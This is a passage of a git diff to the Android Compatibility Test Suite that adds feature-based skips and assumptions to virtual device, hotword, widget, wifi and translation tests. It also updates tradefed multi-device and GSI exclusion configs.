+ context.getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
mResultReceiver = createResultReceiver(mOnReceiveResultListener);
}
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java
index 8a31fd3..1623afe 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityManagementTest.java
@@ -25,6 +25,7 @@
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.ArgumentMatchers.nullable;
import static org.mockito.Mockito.after;
@@ -45,6 +46,7 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.hardware.display.VirtualDisplay;
import android.os.Bundle;
import android.os.ResultReceiver;
@@ -112,6 +114,9 @@
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
Context context = getApplicationContext();
+ assumeTrue(
+ context.getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
mResultReceiver = VirtualDeviceTestUtils.createResultReceiver(mOnReceiveResultListener);
}
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java
index 2228ed1..b5eb22b 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/CreateVirtualDisplayTest.java
@@ -28,12 +28,14 @@
import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
import android.annotation.Nullable;
import android.companion.virtual.VirtualDeviceManager;
import android.companion.virtual.VirtualDeviceManager.VirtualDevice;
import android.companion.virtual.VirtualDeviceParams;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.hardware.display.VirtualDisplay;
import android.platform.test.annotations.AppModeFull;
import android.view.Display;
@@ -83,6 +85,9 @@
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
Context context = getApplicationContext();
+ assumeTrue(
+ context.getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
}
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java
index 205daae..6f82521 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/StreamedAppBehaviorTest.java
@@ -28,6 +28,7 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.TruthJUnit.assume;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.timeout;
@@ -43,6 +44,7 @@
import android.content.ClipboardManager;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
@@ -98,6 +100,9 @@
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
mContext = getApplicationContext();
+ assumeTrue(
+ mContext.getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
mVirtualDeviceManager = mContext.getSystemService(VirtualDeviceManager.class);
mVirtualDevice =
mVirtualDeviceManager.createVirtualDevice(
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java
index 52dbb37..0b5952d 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualInputTest.java
@@ -25,12 +25,14 @@
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
import android.annotation.Nullable;
import android.companion.virtual.VirtualDeviceManager;
import android.companion.virtual.VirtualDeviceManager.VirtualDevice;
import android.companion.virtual.VirtualDeviceParams;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.platform.test.annotations.AppModeFull;
@@ -74,6 +76,9 @@
public void setUp() throws Exception {
MockitoAnnotations.initMocks(this);
Context context = getApplicationContext();
+ assumeTrue(
+ context.getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
mVirtualDeviceManager = context.getSystemService(VirtualDeviceManager.class);
}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
index b5eb4da..1ebad32 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -21,6 +21,7 @@
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeFalse;
import android.app.Instrumentation;
import android.app.compat.CompatChanges;
@@ -87,6 +88,7 @@
private static PackageManager sPkgMgr = sInstrumentation.getContext().getPackageManager();
private static boolean wasIndicatorEnabled = false;
private static String sDefaultScreenOffTimeoutValue;
+ private static boolean sIsAutomotive;
@BeforeClass
public static void enableIndicators() {
@@ -99,6 +101,7 @@
sDefaultScreenOffTimeoutValue = SystemUtil.runShellCommand(
"settings get system screen_off_timeout");
SystemUtil.runShellCommand("settings put system screen_off_timeout 600000");
+ sIsAutomotive = sPkgMgr.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
@AfterClass
@@ -146,6 +149,8 @@
@RequiresDevice
public void testHotwordDetectionService_createDetectorTwiceQuickly_triggerSuccess()
throws Throwable {
+ assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
Thread.sleep(CLEAR_CHIP_MS);
final BlockingBroadcastReceiver softwareReceiver = new BlockingBroadcastReceiver(mContext,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT);
@@ -195,6 +200,8 @@
@RequiresDevice
public void testHotwordDetectionService_onDetectFromDsp_success()
throws Throwable {
+ assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
Thread.sleep(CLEAR_CHIP_MS);
// Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
@@ -211,6 +218,8 @@
@RequiresDevice
public void testHotwordDetectionService_onDetectFromDsp_rejection()
throws Throwable {
+ assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
Thread.sleep(CLEAR_CHIP_MS);
// Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
@@ -242,6 +251,8 @@
@RequiresDevice
public void testHotwordDetectionService_onDetectFromMic_success()
throws Throwable {
+ assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
Thread.sleep(CLEAR_CHIP_MS);
// Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
@@ -278,6 +289,8 @@
@Test
@RequiresDevice
public void testHotwordDetectionService_concurrentCapture() throws Throwable {
+ assumeFalse("TODO(b/214488187): Fix failure for Automotive", sIsAutomotive);
+
// Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_TRIGGER_RESULT_INTENT,
diff --git a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
index 7f76912..dc56f57 100644
--- a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
@@ -36,6 +36,7 @@
import org.junit.Before;
import org.junit.ClassRule;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -61,6 +62,7 @@
mUiDevice = UiDevice.getInstance(mInstrumentation);
}
+ @Ignore("b/229946481")
@Test
public void popupWindowDismissedOnBackGesture() {
PopupWindow[] popupWindow = new PopupWindow[1];
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 542456e1..94e95b1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -47,6 +47,7 @@
import android.annotation.NonNull;
import android.app.UiAutomation;
import android.content.Context;
+import android.location.LocationManager;
import android.net.ConnectivityManager;
import android.net.DhcpOption;
import android.net.wifi.WifiConfiguration;
@@ -81,6 +82,7 @@
import java.util.ArrayList;
import java.util.List;
import java.util.NoSuchElementException;
+import java.util.Objects;
import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executors;
@@ -116,6 +118,9 @@
mWifiManager = mContext.getSystemService(WifiManager.class);
assertThat(mWifiManager).isNotNull();
+ // Location mode must be enabled, otherwise the connection info will be redacted.
+ assertThat(Objects.requireNonNull(mContext.getSystemService(LocationManager.class))
+ .isLocationEnabled()).isTrue();
mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index d83bdb2..3b004dd 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -5492,9 +5492,10 @@
network.setBssidAllowlist(Collections.emptyList());
mWifiManager.updateNetwork(network);
}
- // trigger a disconnect and wait for disconnect.
- mWifiManager.disconnect();
- waitForDisconnection();
+
+ // Disable and re-enable Wifi to avoid reconnect to the secondary candidate
+ setWifiEnabled(false);
+ setWifiEnabled(true);
// Now trigger scan and ensure that the device does not connect to any networks.
mWifiManager.startScan();
diff --git a/tests/translation/AndroidManifest.xml b/tests/translation/AndroidManifest.xml
index aab6515..80ac551 100644
--- a/tests/translation/AndroidManifest.xml
+++ b/tests/translation/AndroidManifest.xml
@@ -22,10 +22,16 @@
<application android:label="Translation TestCase">
<uses-library android:name="android.test.runner"/>
+ <!--
+ EmptyActivity uses a transparent theme so that SimpleActivity below it can have its views
+ translated. See UiTranslationManagerTest#testTranslationAfterStartActivityOnSameTask.
+ -->
<activity android:name=".EmptyActivity"
android:label="EmptyActivity"
- android:exported="true">
+ android:exported="true"
+ android:theme="@style/TransparentTheme">
</activity>
+
<activity android:name=".SimpleActivity"
android:label="SimpleActivity"
android:exported="true">
diff --git a/tests/translation/res/values/styles.xml b/tests/translation/res/values/styles.xml
new file mode 100644
index 0000000..3dd2eb6
--- /dev/null
+++ b/tests/translation/res/values/styles.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<resources>
+ <style name="TransparentTheme">
+ <item name="android:windowIsTranslucent">true</item>
+ <item name="android:windowBackground">@android:color/transparent</item>
+ <item name="android:windowContentOverlay">@null</item>
+ <item name="android:backgroundDimEnabled">false</item>
+ </style>
+</resources>
\ No newline at end of file
diff --git a/tools/cts-tradefed/res/config/cts-multidevice.xml b/tools/cts-tradefed/res/config/cts-multidevice.xml
index 7453154..d56351b 100644
--- a/tools/cts-tradefed/res/config/cts-multidevice.xml
+++ b/tools/cts-tradefed/res/config/cts-multidevice.xml
@@ -22,4 +22,7 @@
<!-- CTS multi device test cases only-->
<option name="multi-devices-modules" value="ONLY_MULTI_DEVICES" />
+ <!-- Enable multi-devices automatically, and limit CTS to 2 devices -->
+ <option name="replicate-parent-setup" value="true" />
+ <option name="multi-device-count" value="2" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 69fd781..cbd7611 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -81,6 +81,9 @@
<!-- b/183636777 Remove CtsShortcutManagerPackage4 from cts-on-gsi -->
<option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage4" />
+ <!-- b/230829938 Remove CtsShortcutHostTestCases from cts-on-gsi -->
+ <option name="compatibility:exclude-filter" value="CtsShortcutHostTestCases" />
+
<!-- b/185451791. Can't have single overlay package for both AOSP version and Google-signed mainline modules -->
<option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testPersistentGroupOperation" />
<option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testRequestNetworkInfo" />